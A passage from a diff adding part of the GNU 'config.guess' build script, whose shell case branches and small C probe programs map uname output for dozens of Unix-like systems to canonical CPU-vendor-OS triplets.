arm*|i386|m68k|ns32k|sh3*|sparc|vax) + set_cc_for_build + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep -q __ELF__ + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + ;; + *) + os=netbsd + ;; + esac + # Determine ABI tags. + case $UNAME_MACHINE_ARCH in + earm*) + expr='s/^earmv[0-9]/-eabi/;s/eb$//' + abi=`echo "$UNAME_MACHINE_ARCH" | sed -e "$expr"` + ;; + esac + # The OS release + # Debian GNU/NetBSD machines have a different userland, and + # thus, need a distinct triplet. However, they do not need + # kernel version information, so it can be replaced with a + # suitable tag, in the style of linux-gnu. + case $UNAME_VERSION in + Debian*) + release='-gnu' + ;; + *) + release=`echo "$UNAME_RELEASE" | sed -e 's/[-_].*//' | cut -d. -f1,2` + ;; + esac + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + GUESS=$machine-${os}${release}${abi-} + ;; + *:Bitrig:*:*) + UNAME_MACHINE_ARCH=`arch | sed 's/Bitrig.//'` + GUESS=$UNAME_MACHINE_ARCH-unknown-bitrig$UNAME_RELEASE + ;; + *:OpenBSD:*:*) + UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'` + GUESS=$UNAME_MACHINE_ARCH-unknown-openbsd$UNAME_RELEASE + ;; + *:SecBSD:*:*) + UNAME_MACHINE_ARCH=`arch | sed 's/SecBSD.//'` + GUESS=$UNAME_MACHINE_ARCH-unknown-secbsd$UNAME_RELEASE + ;; + *:LibertyBSD:*:*) + UNAME_MACHINE_ARCH=`arch | sed 's/^.*BSD\.//'` + GUESS=$UNAME_MACHINE_ARCH-unknown-libertybsd$UNAME_RELEASE + ;; + *:MidnightBSD:*:*) + GUESS=$UNAME_MACHINE-unknown-midnightbsd$UNAME_RELEASE + ;; + *:ekkoBSD:*:*) + GUESS=$UNAME_MACHINE-unknown-ekkobsd$UNAME_RELEASE + ;; + *:SolidBSD:*:*) + GUESS=$UNAME_MACHINE-unknown-solidbsd$UNAME_RELEASE + ;; + *:OS108:*:*) + GUESS=$UNAME_MACHINE-unknown-os108_$UNAME_RELEASE + ;; + macppc:MirBSD:*:*) + GUESS=powerpc-unknown-mirbsd$UNAME_RELEASE + ;; + *:MirBSD:*:*) + GUESS=$UNAME_MACHINE-unknown-mirbsd$UNAME_RELEASE + ;; + *:Sortix:*:*) + GUESS=$UNAME_MACHINE-unknown-sortix + ;; + *:Twizzler:*:*) + GUESS=$UNAME_MACHINE-unknown-twizzler + ;; + *:Redox:*:*) + GUESS=$UNAME_MACHINE-unknown-redox + ;; + mips:OSF1:*.*) + GUESS=mips-dec-osf1 + ;; + alpha:OSF1:*:*) + # Reset EXIT trap before exiting to avoid spurious non-zero exit code. + trap '' 0 + case $UNAME_RELEASE in + *4.0) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + ;; + *5.*) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` + ;; + esac + # According to Compaq, /usr/sbin/psrinfo has been available on + # OSF/1 and Tru64 systems produced since 1995. I hope that + # covers most systems running today. This code pipes the CPU + # types through head -n 1, so we only detect the type of CPU 0. + ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` + case $ALPHA_CPU_TYPE in + "EV4 (21064)") + UNAME_MACHINE=alpha ;; + "EV4.5 (21064)") + UNAME_MACHINE=alpha ;; + "LCA4 (21066/21068)") + UNAME_MACHINE=alpha ;; + "EV5 (21164)") + UNAME_MACHINE=alphaev5 ;; + "EV5.6 (21164A)") + UNAME_MACHINE=alphaev56 ;; + "EV5.6 (21164PC)") + UNAME_MACHINE=alphapca56 ;; + "EV5.7 (21164PC)") + UNAME_MACHINE=alphapca57 ;; + "EV6 (21264)") + UNAME_MACHINE=alphaev6 ;; + "EV6.7 (21264A)") + UNAME_MACHINE=alphaev67 ;; + "EV6.8CB (21264C)") + UNAME_MACHINE=alphaev68 ;; + "EV6.8AL (21264B)") + UNAME_MACHINE=alphaev68 ;; + "EV6.8CX (21264D)") + UNAME_MACHINE=alphaev68 ;; + "EV6.9A (21264/EV69A)") + UNAME_MACHINE=alphaev69 ;; + "EV7 (21364)") + UNAME_MACHINE=alphaev7 ;; + "EV7.9 (21364A)") + UNAME_MACHINE=alphaev79 ;; + esac + # A Pn.n version is a patched version. + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + OSF_REL=`echo "$UNAME_RELEASE" | sed -e 's/^[PVTX]//' | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz` + GUESS=$UNAME_MACHINE-dec-osf$OSF_REL + ;; + Amiga*:UNIX_System_V:4.0:*) + GUESS=m68k-unknown-sysv4 + ;; + *:[Aa]miga[Oo][Ss]:*:*) + GUESS=$UNAME_MACHINE-unknown-amigaos + ;; + *:[Mm]orph[Oo][Ss]:*:*) + GUESS=$UNAME_MACHINE-unknown-morphos + ;; + *:OS/390:*:*) + GUESS=i370-ibm-openedition + ;; + *:z/VM:*:*) + GUESS=s390-ibm-zvmoe + ;; + *:OS400:*:*) + GUESS=powerpc-ibm-os400 + ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + GUESS=arm-acorn-riscix$UNAME_RELEASE + ;; + arm*:riscos:*:*|arm*:RISCOS:*:*) + GUESS=arm-unknown-riscos + ;; + SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) + GUESS=hppa1.1-hitachi-hiuxmpp + ;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + case `(/bin/universe) 2>/dev/null` in + att) GUESS=pyramid-pyramid-sysv3 ;; + *) GUESS=pyramid-pyramid-bsd ;; + esac + ;; + NILE*:*:*:dcosx) + GUESS=pyramid-pyramid-svr4 + ;; + DRS?6000:unix:4.0:6*) + GUESS=sparc-icl-nx6 + ;; + DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) + case `/usr/bin/uname -p` in + sparc) GUESS=sparc-icl-nx7 ;; + esac + ;; + s390x:SunOS:*:*) + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'` + GUESS=$UNAME_MACHINE-ibm-solaris2$SUN_REL + ;; + sun4H:SunOS:5.*:*) + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'` + GUESS=sparc-hal-solaris2$SUN_REL + ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'` + GUESS=sparc-sun-solaris2$SUN_REL + ;; + i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*) + GUESS=i386-pc-auroraux$UNAME_RELEASE + ;; + i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) + set_cc_for_build + SUN_ARCH=i386 + # If there is a compiler, see if it is configured for 64-bit objects. + # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. + # This test works for both compilers. + if test "$CC_FOR_BUILD" != no_compiler_found; then + if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ + (CCOPTS="" $CC_FOR_BUILD -m64 -E - 2>/dev/null) | \ + grep IS_64BIT_ARCH >/dev/null + then + SUN_ARCH=x86_64 + fi + fi + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'` + GUESS=$SUN_ARCH-pc-solaris2$SUN_REL + ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'` + GUESS=sparc-sun-solaris3$SUN_REL + ;; + sun4*:SunOS:*:*) + case `/usr/bin/arch -k` in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/-/_/'` + GUESS=sparc-sun-sunos$SUN_REL + ;; + sun3*:SunOS:*:*) + GUESS=m68k-sun-sunos$UNAME_RELEASE + ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x$UNAME_RELEASE" = x && UNAME_RELEASE=3 + case `/bin/arch` in + sun3) + GUESS=m68k-sun-sunos$UNAME_RELEASE + ;; + sun4) + GUESS=sparc-sun-sunos$UNAME_RELEASE + ;; + esac + ;; + aushp:SunOS:*:*) + GUESS=sparc-auspex-sunos$UNAME_RELEASE + ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + GUESS=m68k-atari-mint$UNAME_RELEASE + ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + GUESS=m68k-atari-mint$UNAME_RELEASE + ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + GUESS=m68k-atari-mint$UNAME_RELEASE + ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + GUESS=m68k-milan-mint$UNAME_RELEASE + ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + GUESS=m68k-hades-mint$UNAME_RELEASE + ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + GUESS=m68k-unknown-mint$UNAME_RELEASE + ;; + m68k:machten:*:*) + GUESS=m68k-apple-machten$UNAME_RELEASE + ;; + powerpc:machten:*:*) + GUESS=powerpc-apple-machten$UNAME_RELEASE + ;; + RISC*:Mach:*:*) + GUESS=mips-dec-mach_bsd4.3 + ;; + RISC*:ULTRIX:*:*) + GUESS=mips-dec-ultrix$UNAME_RELEASE + ;; + VAX*:ULTRIX*:*:*) + GUESS=vax-dec-ultrix$UNAME_RELEASE + ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + GUESS=clipper-intergraph-clix$UNAME_RELEASE + ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + set_cc_for_build + sed 's/^ //' << EOF > "$dummy.c" +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD -o "$dummy" "$dummy.c" && + dummyarg=`echo "$UNAME_RELEASE" | sed -n 's/\([0-9]*\).*/\1/p'` && + SYSTEM_NAME=`"$dummy" "$dummyarg"` && + { echo "$SYSTEM_NAME"; exit; } + GUESS=mips-mips-riscos$UNAME_RELEASE + ;; + Motorola:PowerMAX_OS:*:*) + GUESS=powerpc-motorola-powermax + ;; + Motorola:*:4.3:PL8-*) + GUESS=powerpc-harris-powermax + ;; + Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) + GUESS=powerpc-harris-powermax + ;; + Night_Hawk:Power_UNIX:*:*) + GUESS=powerpc-harris-powerunix + ;; + m88k:CX/UX:7*:*) + GUESS=m88k-harris-cxux7 + ;; + m88k:*:4*:R4*) + GUESS=m88k-motorola-sysv4 + ;; + m88k:*:3*:R3*) + GUESS=m88k-motorola-sysv3 + ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if test "$UNAME_PROCESSOR" = mc88100 || test "$UNAME_PROCESSOR" = mc88110 + then + if test "$TARGET_BINARY_INTERFACE"x = m88kdguxelfx || \ + test "$TARGET_BINARY_INTERFACE"x = x + then + GUESS=m88k-dg-dgux$UNAME_RELEASE + else + GUESS=m88k-dg-dguxbcs$UNAME_RELEASE + fi + else + GUESS=i586-dg-dgux$UNAME_RELEASE + fi + ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + GUESS=m88k-dolphin-sysv3 + ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + GUESS=m88k-motorola-sysv3 + ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + GUESS=m88k-tektronix-sysv3 + ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + GUESS=m68k-tektronix-bsd + ;; + *:IRIX*:*:*) + IRIX_REL=`echo "$UNAME_RELEASE" | sed -e 's/-/_/g'` + GUESS=mips-sgi-irix$IRIX_REL + ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + GUESS=romp-ibm-aix # uname -m gives an 8 hex-code CPU id + ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i*86:AIX:*:*) + GUESS=i386-ibm-aix + ;; + ia64:AIX:*:*) + if test -x /usr/bin/oslevel ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=$UNAME_VERSION.$UNAME_RELEASE + fi + GUESS=$UNAME_MACHINE-ibm-aix$IBM_REV + ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + set_cc_for_build + sed 's/^ //' << EOF > "$dummy.c" + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + if $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=`"$dummy"` + then + GUESS=$SYSTEM_NAME + else + GUESS=rs6000-ibm-aix3.2.5 + fi + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + GUESS=rs6000-ibm-aix3.2.4 + else + GUESS=rs6000-ibm-aix3.2 + fi + ;; + *:AIX:*:[4567]) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` + if /usr/sbin/lsattr -El "$IBM_CPU_ID" | grep ' POWER' >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if test -x /usr/bin/lslpp ; then + IBM_REV=`/usr/bin/lslpp -Lqc bos.rte.libc | \ + awk -F: '{ print $3 }' | sed s/[0-9]*$/0/` + else + IBM_REV=$UNAME_VERSION.$UNAME_RELEASE + fi + GUESS=$IBM_ARCH-ibm-aix$IBM_REV + ;; + *:AIX:*:*) + GUESS=rs6000-ibm-aix + ;; + ibmrt:4.4BSD:*|romp-ibm:4.4BSD:*) + GUESS=romp-ibm-bsd4.4 + ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + GUESS=romp-ibm-bsd$UNAME_RELEASE # 4.3 with uname added to + ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + GUESS=rs6000-bull-bosx + ;; + DPX/2?00:B.O.S.:*:*) + GUESS=m68k-bull-sysv3 + ;; + 9000/[34]??:4.3bsd:1.*:*) + GUESS=m68k-hp-bsd + ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + GUESS=m68k-hp-bsd4.4 + ;; + 9000/[34678]??:HP-UX:*:*) + HPUX_REV=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*.[0B]*//'` + case $UNAME_MACHINE in + 9000/31?) HP_ARCH=m68000 ;; + 9000/[34]??) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + if test -x /usr/bin/getconf; then + sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` + sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` + case $sc_cpu_version in + 523) HP_ARCH=hppa1.0 ;; # CPU_PA_RISC1_0 + 528) HP_ARCH=hppa1.1 ;; # CPU_PA_RISC1_1 + 532) # CPU_PA_RISC2_0 + case $sc_kernel_bits in + 32) HP_ARCH=hppa2.0n ;; + 64) HP_ARCH=hppa2.0w ;; + '') HP_ARCH=hppa2.0 ;; # HP-UX 10.20 + esac ;; + esac + fi + if test "$HP_ARCH" = ""; then + set_cc_for_build + sed 's/^ //' << EOF > "$dummy.c" + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS="" $CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null) && HP_ARCH=`"$dummy"` + test -z "$HP_ARCH" && HP_ARCH=hppa + fi ;; + esac + if test "$HP_ARCH" = hppa2.0w + then + set_cc_for_build + + # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating + # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler + # generating 64-bit code. GNU and HP use different nomenclature: + # + # $ CC_FOR_BUILD=cc ./config.guess + # => hppa2.0w-hp-hpux11.23 + # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess + # => hppa64-hp-hpux11.23 + + if echo __LP64__ | (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | + grep -q __LP64__ + then + HP_ARCH=hppa2.0w + else + HP_ARCH=hppa64 + fi + fi + GUESS=$HP_ARCH-hp-hpux$HPUX_REV + ;; + ia64:HP-UX:*:*) + HPUX_REV=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*.[0B]*//'` + GUESS=ia64-hp-hpux$HPUX_REV + ;; + 3050*:HI-UX:*:*) + set_cc_for_build + sed 's/^ //' << EOF > "$dummy.c" + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=`"$dummy"` && + { echo "$SYSTEM_NAME"; exit; } + GUESS=unknown-hitachi-hiuxwe2 + ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:*) + GUESS=hppa1.1-hp-bsd + ;; + 9000/8??:4.3bsd:*:*) + GUESS=hppa1.0-hp-bsd + ;; + *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) + GUESS=hppa1.0-hp-mpeix + ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:*) + GUESS=hppa1.1-hp-osf + ;; + hp8??:OSF1:*:*) + GUESS=hppa1.0-hp-osf + ;; + i*86:OSF1:*:*) + if test -x /usr/sbin/sysversion ; then + GUESS=$UNAME_MACHINE-unknown-osf1mk + else + GUESS=$UNAME_MACHINE-unknown-osf1 + fi + ;; + parisc*:Lites*:*:*) + GUESS=hppa1.1-hp-lites + ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + GUESS=c1-convex-bsd + ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + GUESS=c34-convex-bsd + ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + GUESS=c38-convex-bsd + ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + GUESS=c4-convex-bsd + ;; + CRAY*Y-MP:*:*:*) + CRAY_REL=`echo "$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/'` + GUESS=ymp-cray-unicos$CRAY_REL + ;; + CRAY*[A-Z]90:*:*:*) + echo "$UNAME_MACHINE"-cray-unicos"$UNAME_RELEASE" \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ + -e 's/\.[^.]*$/.X/' + exit ;; + CRAY*TS:*:*:*) + CRAY_REL=`echo "$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/'` + GUESS=t90-cray-unicos$CRAY_REL + ;; + CRAY*T3E:*:*:*) + CRAY_REL=`echo "$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/'` + GUESS=alphaev5-cray-unicosmk$CRAY_REL + ;; + CRAY*SV1:*:*:*) + CRAY_REL=`echo "$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/'` + GUESS=sv1-cray-unicos$CRAY_REL + ;; + *:UNICOS/mp:*:*) + CRAY_REL=`echo "$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/'` + GUESS=craynv-cray-unicosmp$CRAY_REL + ;; + F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) + FUJITSU_PROC=`uname -m | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz` + FUJITSU_SYS=`uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///'` + FUJITSU_REL=`echo "$UNAME_RELEASE" | sed -e 's/ /_/'` + GUESS=${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL} + ;; + 5000:UNIX_System_V:4.*:*) + FUJITSU_SYS=`uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///'` + FUJITSU_REL=`echo "$UNAME_RELEASE" | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/ /_/'` + GUESS=sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL} + ;; + i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + GUESS=$UNAME_MACHINE-pc-bsdi$UNAME_RELEASE + ;; + sparc*:BSD/OS:*:*) + GUESS=sparc-unknown-bsdi$UNAME_RELEASE + ;; + *:BSD/OS:*:*) + GUESS=$UNAME_MACHINE-unknown-bsdi$UNAME_RELEASE + ;; + arm:FreeBSD:*:*) + UNAME_PROCESSOR=`uname -p` + set_cc_for_build + if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep -q __ARM_PCS_VFP + then + FREEBSD_REL=`echo "$UNAME_RELEASE" | sed -e 's/[-(].*//'` + GUESS=$UNAME_PROCESSOR-unknown-freebsd$FREEBSD_REL-gnueabi + else + FREEBSD_REL=`echo "$UNAME_RELEASE" | sed -e 's/[-(].*//'` + GUESS=$UNAME_PROCESSOR-unknown-freebsd$FREEBSD_REL-gnueabihf + fi + ;; + *:FreeBSD:*:*) + UNAME_PROCESSOR=`/usr/bin/uname -p` + case $UNAME_PROCESSOR in + amd64) + UNAME_PROCESSOR=x86_64 ;; + i386) + UNAME_PROCESSOR=i586 ;; + esac + FREEBSD_REL=`echo "$UNAME_RELEASE" | sed -e 's/[-(].*//'` + GUESS=$UNAME_PROCESSOR-unknown-freebsd$FREEBSD_REL + ;; + i*:CYGWIN*:*) + GUESS=$UNAME_MACHINE-pc-cygwin + ;; + *:MINGW64*:*) + GUESS=$UNAME_MACHINE-pc-mingw64 + ;; + *:MINGW*:*) + GUESS=$UNAME_MACHINE-pc-mingw32 + ;; + *:MSYS*:*) + GUESS=$UNAME_MACHINE-pc-msys + ;; + i*:PW*:*) + GUESS=$UNAME_MACHINE-pc-pw32 + ;; + *:SerenityOS:*:*) + GUESS=$UNAME_MACHINE-pc-serenity + ;; + *:Interix*:*) + case $UNAME_MACHINE in + x86) + GUESS=i586-pc-interix$UNAME_RELEASE + ;; + authenticamd | genuineintel | EM64T) + GUESS=x86_64-unknown-interix$UNAME_RELEASE + ;; + IA64) + GUESS=ia64-unknown-interix$UNAME_RELEASE + ;; + esac ;; + i*:UWIN*:*) + GUESS=$UNAME_MACHINE-pc-uwin + ;; + amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) + GUESS=x86_64-pc-cygwin + ;; + prep*:SunOS:5.*:*) + SUN_REL=`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'` + GUESS=powerpcle-unknown-solaris2$SUN_REL + ;; + *:GNU:*:*) + # the GNU system + GNU_ARCH=`echo "$UNAME_MACHINE" | sed -e 's,[-/].*$,,'` + GNU_REL=`echo "$UNAME_RELEASE" | sed -e 's,/.*$,,'` + GUESS=$GNU_ARCH-unknown-$LIBC$GNU_REL + ;; + *:GNU/*:*:*) + # other systems with GNU libc and userland + GNU_SYS=`echo "$UNAME_SYSTEM" | sed 's,^[^/]*/,,' | tr "[:upper:]" "[:lower:]"` + GNU_REL=`echo "$UNAME_RELEASE" | sed -e 's/[-(].*//'` + GUESS=$UNAME_MACHINE-unknown-$GNU_SYS$GNU_REL-$LIBC + ;; + *:Minix:*:*) + GUESS=$UNAME_MACHINE-unknown-minix + ;; + aarch64:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + aarch64_be:Linux:*:*) + UNAME_MACHINE=aarch64_be + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + alpha:Linux:*:*) + case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' /proc/cpuinfo 2>/dev/null` in + EV5) UNAME_MACHINE=alphaev5 ;; + EV56) UNAME_MACHINE=alphaev56 ;; + PCA56) UNAME_MACHINE=alphapca56 ;; + PCA57) UNAME_MACHINE=alphapca56 ;; + EV6) UNAME_MACHINE=alphaev6 ;; + EV67) UNAME_MACHINE=alphaev67 ;; + EV68*) UNAME_MACHINE=alphaev68 ;; + esac + objdump --private-headers /bin/sh | grep -q ld.so.1 + if test "$?" = 0 ; then LIBC=gnulibc1 ; fi + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + arc:Linux:*:* | arceb:Linux:*:* | arc32:Linux:*:* | arc64:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + arm*:Linux:*:*) + set_cc_for_build + if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep -q __ARM_EABI__ + then + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + else + if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep -q __ARM_PCS_VFP + then + GUESS=$UNAME_MACHINE-unknown-linux-${LIBC}eabi + else + GUESS=$UNAME_MACHINE-unknown-linux-${LIBC}eabihf + fi + fi + ;; + avr32*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + cris:Linux:*:*) + GUESS=$UNAME_MACHINE-axis-linux-$LIBC + ;; + crisv32:Linux:*:*) + GUESS=$UNAME_MACHINE-axis-linux-$LIBC + ;; + e2k:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + frv:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + hexagon:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + i*86:Linux:*:*) + GUESS=$UNAME_MACHINE-pc-linux-$LIBC + ;; + ia64:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + k1om:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + loongarch32:Linux:*:* | loongarch64:Linux:*:* | loongarchx32:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + m32r*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + m68*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + mips:Linux:*:* | mips64:Linux:*:*) + set_cc_for_build + IS_GLIBC=0 + test x"${LIBC}" = xgnu && IS_GLIBC=1 + sed 's/^ //' << EOF > "$dummy.c" + #undef CPU + #undef mips + #undef mipsel + #undef mips64 + #undef mips64el + #if ${IS_GLIBC} && defined(_ABI64) + 